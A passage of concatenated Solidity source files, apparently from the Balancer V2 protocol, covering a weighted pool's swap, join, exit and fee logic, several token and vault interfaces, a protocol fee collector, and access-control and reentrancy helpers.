else if (token == _token5) { return _normalizedWeight5; }
else if (token == _token6) { return _normalizedWeight6; }
else if (token == _token7) { return _normalizedWeight7; }
else {
_revert(Errors.INVALID_TOKEN);
}
}
function _normalizedWeights() internal view virtual returns (uint256[] memory) {
uint256 totalTokens = _getTotalTokens();
uint256[] memory normalizedWeights = new uint256[](totalTokens);
// prettier-ignore
{
if (totalTokens > 0) { normalizedWeights[0] = _normalizedWeight0; } else { return normalizedWeights; }
if (totalTokens > 1) { normalizedWeights[1] = _normalizedWeight1; } else { return normalizedWeights; }
if (totalTokens > 2) { normalizedWeights[2] = _normalizedWeight2; } else { return normalizedWeights; }
if (totalTokens > 3) { normalizedWeights[3] = _normalizedWeight3; } else { return normalizedWeights; }
if (totalTokens > 4) { normalizedWeights[4] = _normalizedWeight4; } else { return normalizedWeights; }
if (totalTokens > 5) { normalizedWeights[5] = _normalizedWeight5; } else { return normalizedWeights; }
if (totalTokens > 6) { normalizedWeights[6] = _normalizedWeight6; } else { return normalizedWeights; }
if (totalTokens > 7) { normalizedWeights[7] = _normalizedWeight7; } else { return normalizedWeights; }
}
return normalizedWeights;
}
function getLastInvariant() external view returns (uint256) {
return _lastInvariant;
}
/**
* @dev Returns the current value of the invariant.
*/
function getInvariant() public view returns (uint256) {
(, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId());
// Since the Pool hooks always work with upscaled balances, we manually
// upscale here for consistency
_upscaleArray(balances, _scalingFactors());
uint256[] memory normalizedWeights = _normalizedWeights();
return WeightedMath._calculateInvariant(normalizedWeights, balances);
}
function getNormalizedWeights() external view returns (uint256[] memory) {
return _normalizedWeights();
}
// Base Pool handlers
// Swap
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) internal view virtual override whenNotPaused returns (uint256) {
// Swaps are disabled while the contract is paused.
return
WeightedMath._calcOutGivenIn(
currentBalanceTokenIn,
_normalizedWeight(swapRequest.tokenIn),
currentBalanceTokenOut,
_normalizedWeight(swapRequest.tokenOut),
swapRequest.amount
);
}
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) internal view virtual override whenNotPaused returns (uint256) {
// Swaps are disabled while the contract is paused.
return
WeightedMath._calcInGivenOut(
currentBalanceTokenIn,
_normalizedWeight(swapRequest.tokenIn),
currentBalanceTokenOut,
_normalizedWeight(swapRequest.tokenOut),
swapRequest.amount
);
}
// Initialize
function _onInitializePool(
bytes32,
address,
address,
bytes memory userData
) internal virtual override whenNotPaused returns (uint256, uint256[] memory) {
// It would be strange for the Pool to be paused before it is initialized, but for consistency we prevent
// initialization in this case.
WeightedPool.JoinKind kind = userData.joinKind();
_require(kind == WeightedPool.JoinKind.INIT, Errors.UNINITIALIZED);
uint256[] memory amountsIn = userData.initialAmountsIn();
InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length);
_upscaleArray(amountsIn, _scalingFactors());
uint256[] memory normalizedWeights = _normalizedWeights();
uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn);
// Set the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more
// consistent in Pools with similar compositions but different number of tokens.
uint256 bptAmountOut = Math.mul(invariantAfterJoin, _getTotalTokens());
_lastInvariant = invariantAfterJoin;
return (bptAmountOut, amountsIn);
}
// Join
function _onJoinPool(
bytes32,
address,
address,
uint256[] memory balances,
uint256,
uint256 protocolSwapFeePercentage,
bytes memory userData
)
internal
virtual
override
whenNotPaused
returns (
uint256,
uint256[] memory,
uint256[] memory
)
{
// All joins are disabled while the contract is paused.
uint256[] memory normalizedWeights = _normalizedWeights();
// Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join
// or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas
// computing them on each individual swap
uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances);
uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts(
balances,
normalizedWeights,
_lastInvariant,
invariantBeforeJoin,
protocolSwapFeePercentage
);
// Update current balances by subtracting the protocol fee amounts
_mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub);
(uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(balances, normalizedWeights, userData);
// Update the invariant with the balances the Pool will have after the join, in order to compute the
// protocol swap fee amounts due in future joins and exits.
_lastInvariant = _invariantAfterJoin(balances, amountsIn, normalizedWeights);
return (bptAmountOut, amountsIn, dueProtocolFeeAmounts);
}
function _doJoin(
uint256[] memory balances,
uint256[] memory normalizedWeights,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
JoinKind kind = userData.joinKind();
if (kind == JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) {
return _joinExactTokensInForBPTOut(balances, normalizedWeights, userData);
} else if (kind == JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) {
return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData);
} else {
_revert(Errors.UNHANDLED_JOIN_KIND);
}
}
function _joinExactTokensInForBPTOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
(uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut();
InputHelpers.ensureInputLengthMatch(_getTotalTokens(), amountsIn.length);
_upscaleArray(amountsIn, _scalingFactors());
uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn(
balances,
normalizedWeights,
amountsIn,
totalSupply(),
_swapFeePercentage
);
_require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT);
return (bptAmountOut, amountsIn);
}
function _joinTokenInForExactBPTOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
(uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut();
// Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`.
_require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS);
uint256[] memory amountsIn = new uint256[](_getTotalTokens());
amountsIn[tokenIndex] = WeightedMath._calcTokenInGivenExactBptOut(
balances[tokenIndex],
normalizedWeights[tokenIndex],
bptAmountOut,
totalSupply(),
_swapFeePercentage
);
return (bptAmountOut, amountsIn);
}
// Exit
function _onExitPool(
bytes32,
address,
address,
uint256[] memory balances,
uint256,
uint256 protocolSwapFeePercentage,
bytes memory userData
)
internal
virtual
override
returns (
uint256 bptAmountIn,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
)
{
// Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens
// out) remain functional.
uint256[] memory normalizedWeights = _normalizedWeights();
if (_isNotPaused()) {
// Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous
// join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids
// spending gas calculating the fees on each individual swap.
uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances);
dueProtocolFeeAmounts = _getDueProtocolFeeAmounts(
balances,
normalizedWeights,
_lastInvariant,
invariantBeforeExit,
protocolSwapFeePercentage
);
// Update current balances by subtracting the protocol fee amounts
_mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub);
} else {
// If the contract is paused, swap protocol fee amounts are not charged to avoid extra calculations and
// reduce the potential for errors.
dueProtocolFeeAmounts = new uint256[](_getTotalTokens());
}
(bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, userData);
// Update the invariant with the balances the Pool will have after the exit, in order to compute the
// protocol swap fees due in future joins and exits.
_lastInvariant = _invariantAfterExit(balances, amountsOut, normalizedWeights);
return (bptAmountIn, amountsOut, dueProtocolFeeAmounts);
}
function _doExit(
uint256[] memory balances,
uint256[] memory normalizedWeights,
bytes memory userData
) private view returns (uint256, uint256[] memory) {
ExitKind kind = userData.exitKind();
if (kind == ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) {
return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData);
} else if (kind == ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) {
return _exitExactBPTInForTokensOut(balances, userData);
} else {
// ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT
return _exitBPTInForExactTokensOut(balances, normalizedWeights, userData);
}
}
function _exitExactBPTInForTokenOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
bytes memory userData
) private view whenNotPaused returns (uint256, uint256[] memory) {
// This exit function is disabled if the contract is paused.
(uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut();
// Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`.
_require(tokenIndex < _getTotalTokens(), Errors.OUT_OF_BOUNDS);
// We exit in a single token, so we initialize amountsOut with zeros
uint256[] memory amountsOut = new uint256[](_getTotalTokens());
// And then assign the result to the selected token
amountsOut[tokenIndex] = WeightedMath._calcTokenOutGivenExactBptIn(
balances[tokenIndex],
normalizedWeights[tokenIndex],
bptAmountIn,
totalSupply(),
_swapFeePercentage
);
return (bptAmountIn, amountsOut);
}
function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData)
private
view
returns (uint256, uint256[] memory)
{
// This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted
// in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency.
// This particular exit function is the only one that remains available because it is the simplest one, and
// therefore the one with the lowest likelihood of errors.
uint256 bptAmountIn = userData.exactBptInForTokensOut();
// Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`.
uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply());
return (bptAmountIn, amountsOut);
}
function _exitBPTInForExactTokensOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
bytes memory userData
) private view whenNotPaused returns (uint256, uint256[] memory) {
// This exit function is disabled if the contract is paused.
(uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut();
InputHelpers.ensureInputLengthMatch(amountsOut.length, _getTotalTokens());
_upscaleArray(amountsOut, _scalingFactors());
uint256 bptAmountIn = WeightedMath._calcBptInGivenExactTokensOut(
balances,
normalizedWeights,
amountsOut,
totalSupply(),
_swapFeePercentage
);
_require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT);
return (bptAmountIn, amountsOut);
}
// Helpers
function _getDueProtocolFeeAmounts(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256 previousInvariant,
uint256 currentInvariant,
uint256 protocolSwapFeePercentage
) private view returns (uint256[] memory) {
// Initialize with zeros
uint256[] memory dueProtocolFeeAmounts = new uint256[](_getTotalTokens());
// Early return if the protocol swap fee percentage is zero, saving gas.
if (protocolSwapFeePercentage == 0) {
return dueProtocolFeeAmounts;
}
// The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the
// token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool.
dueProtocolFeeAmounts[_maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount(
balances[_maxWeightTokenIndex],
normalizedWeights[_maxWeightTokenIndex],
previousInvariant,
currentInvariant,
protocolSwapFeePercentage
);
return dueProtocolFeeAmounts;
}
/**
* @dev Returns the value of the invariant given `balances`, assuming they are increased by `amountsIn`. All
* amounts are expected to be upscaled.
*/
function _invariantAfterJoin(
uint256[] memory balances,
uint256[] memory amountsIn,
uint256[] memory normalizedWeights
) private view returns (uint256) {
_mutateAmounts(balances, amountsIn, FixedPoint.add);
return WeightedMath._calculateInvariant(normalizedWeights, balances);
}
function _invariantAfterExit(
uint256[] memory balances,
uint256[] memory amountsOut,
uint256[] memory normalizedWeights
) private view returns (uint256) {
_mutateAmounts(balances, amountsOut, FixedPoint.sub);
return WeightedMath._calculateInvariant(normalizedWeights, balances);
}
/**
* @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`.
*
* Equivalent to `amounts = amounts.map(mutation)`.
*/
function _mutateAmounts(
uint256[] memory toMutate,
uint256[] memory arguments,
function(uint256, uint256) pure returns (uint256) mutation
) private view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
toMutate[i] = mutation(toMutate[i], arguments[i]);
}
}
/**
* @dev This function returns the appreciation of one BPT relative to the
* underlying tokens. This starts at 1 when the pool is created and grows over time
*/
function getRate() public view returns (uint256) {
// The initial BPT supply is equal to the invariant times the number of tokens.
return Math.mul(getInvariant(), _getTotalTokens()).divDown(totalSupply());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../../lib/openzeppelin/IERC20.sol";
/**
* @dev Interface for the WETH token contract used internally for wrapping and unwrapping, to support
* sending and receiving ETH in joins, swaps, and internal balance deposits and withdrawals.
*/
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero
* address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like
* types.
*
* This concept is unrelated to a Pool's Asset Managers.
*/
interface IAsset {
// solhint-disable-previous-line no-empty-blocks
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthorizer {
/**
* @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`.
*/
function canPerform(
bytes32 actionId,
address account,
address where
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// Inspired by Aave Protocol's IFlashLoanReceiver.
import "../../lib/openzeppelin/IERC20.sol";
interface IFlashLoanRecipient {
/**
* @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient.
*
* At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this
* call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the
* Vault, or else the entire flash loan will revert.
*
* `userData` is the same value passed in the `IVault.flashLoan` call.
*/
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/openzeppelin/IERC20.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/helpers/Authentication.sol";
import "../lib/openzeppelin/ReentrancyGuard.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "./interfaces/IVault.sol";
import "./interfaces/IAuthorizer.sol";
/**
* @dev This an auxiliary contract to the Vault, deployed by it during construction. It offloads some of the tasks the
* Vault performs to reduce its overall bytecode size.
*
* The current values for all protocol fee percentages are stored here, and any tokens charged as protocol fees are
* sent to this contract, where they may be withdrawn by authorized entities. All authorization tasks are delegated
* to the Vault's own authorizer.
*/
contract ProtocolFeesCollector is Authentication, ReentrancyGuard {
using SafeERC20 for IERC20;
// Absolute maximum fee percentages (1e18 = 100%, 1e16 = 1%).
uint256 private constant _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE = 50e16; // 50%
uint256 private constant _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE = 1e16; // 1%
IVault public immutable vault;
// All fee percentages are 18-decimal fixed point numbers.
// The swap fee is charged whenever a swap occurs, as a percentage of the fee charged by the Pool. These are not
// actually charged on each individual swap: the `Vault` relies on the Pools being honest and reporting fees due
// when users join and exit them.
uint256 private _swapFeePercentage;
// The flash loan fee is charged whenever a flash loan occurs, as a percentage of the tokens lent.
uint256 private _flashLoanFeePercentage;
event SwapFeePercentageChanged(uint256 newSwapFeePercentage);
event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage);
constructor(IVault _vault)
// The ProtocolFeesCollector is a singleton, so it simply uses its own address to disambiguate action
// identifiers.
Authentication(bytes32(uint256(address(this))))
{
vault = _vault;
}
function withdrawCollectedFees(
IERC20[] calldata tokens,
uint256[] calldata amounts,
address recipient
) external nonReentrant authenticate {
InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length);
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
uint256 amount = amounts[i];
token.safeTransfer(recipient, amount);
}
}
function setSwapFeePercentage(uint256 newSwapFeePercentage) external authenticate {
_require(newSwapFeePercentage <= _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE, Errors.SWAP_FEE_PERCENTAGE_TOO_HIGH);
_swapFeePercentage = newSwapFeePercentage;
emit SwapFeePercentageChanged(newSwapFeePercentage);
}
function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external authenticate {
_require(
newFlashLoanFeePercentage <= _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE,
Errors.FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH
);
_flashLoanFeePercentage = newFlashLoanFeePercentage;
emit FlashLoanFeePercentageChanged(newFlashLoanFeePercentage);
}
function getSwapFeePercentage() external view returns (uint256) {
return _swapFeePercentage;
}
function getFlashLoanFeePercentage() external view returns (uint256) {
return _flashLoanFeePercentage;
}
function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts) {
feeAmounts = new uint256[](tokens.length);
for (uint256 i = 0; i < tokens.length; ++i) {
feeAmounts[i] = tokens[i].balanceOf(address(this));
}
}
function getAuthorizer() external view returns (IAuthorizer) {
return _getAuthorizer();
}
function _canPerform(bytes32 actionId, address account) internal view override returns (bool) {
return _getAuthorizer().canPerform(actionId, account, address(this));
}
function _getAuthorizer() internal view returns (IAuthorizer) {
return vault.getAuthorizer();
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the SignatureValidator helper, used to support meta-transactions.
*/
interface ISignaturesValidator {
/**
* @dev Returns the EIP712 domain separator.
*/
function getDomainSeparator() external view returns (bytes32);
/**
* @dev Returns the next nonce used by an address to sign messages.
*/
function getNextNonce(address user) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the TemporarilyPausable helper.
*/
interface ITemporarilyPausable {
/**
* @dev Emitted every time the pause state changes by `_setPaused`.
*/
event PausedStateChanged(bool paused);
/**
* @dev Returns the current paused state.
*/
function getPausedState()
external
view
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
import "./BalancerErrors.sol";
import "../../vault/interfaces/IAsset.sol";
library InputHelpers {
function ensureInputLengthMatch(uint256 a, uint256 b) internal pure {
_require(a == b, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureInputLengthMatch(
uint256 a,
uint256 b,
uint256 c
) internal pure {
_require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureArrayIsSorted(IAsset[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(IERC20[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(address[] memory array) internal pure {
if (array.length < 2) {
return;
}
address previous = array[0];
for (uint256 i = 1; i < array.length; ++i) {
address current = array[i];
_require(previous < current, Errors.UNSORTED_ARRAY);
previous = current;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./IAuthentication.sol";
/**
* @dev Building block for performing access control on external functions.
*
* This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied
* to external functions to only make them callable by authorized accounts.
*
* Derived contracts must implement the `_canPerform` function, which holds the actual access control logic.
*/
abstract contract Authentication is IAuthentication {
bytes32 private immutable _actionIdDisambiguator;
/**
* @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in
* multi contract systems.
*
* There are two main uses for it:
* - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers
* unique. The contract's own address is a good option.
* - if the contract belongs to a family that shares action identifiers for the same functions, an identifier
* shared by the entire family (and no other contract) should be used instead.
*/
constructor(bytes32 actionIdDisambiguator) {
_actionIdDisambiguator = actionIdDisambiguator;
}
/**
* @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions.
*/
modifier authenticate() {
_authenticateCaller();
_;
}
/**
* @dev Reverts unless the caller is allowed to call the entry point function.
*/
function _authenticateCaller() internal view {
bytes32 actionId = getActionId(msg.sig);
_require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED);
}
function getActionId(bytes4 selector) public view override returns (bytes32) {
// Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the
// function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of
// multiple contracts.
return keccak256(abi.encodePacked(_actionIdDisambiguator, selector));
}
function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
// Based on the ReentrancyGuard library from OpenZeppelin contracts, altered to reduce bytecode size.
// Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using
// private functions, we achieve the same end result with slightly higher runtime gas costs but reduced bytecode size.
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_enterNonReentrant();
_;
_exitNonReentrant();
}
function _enterNonReentrant() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
_require(_status != _ENTERED, Errors.REENTRANCY);
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _exitNonReentrant() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
import "./IERC20.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(address(token), abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(address(token), abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
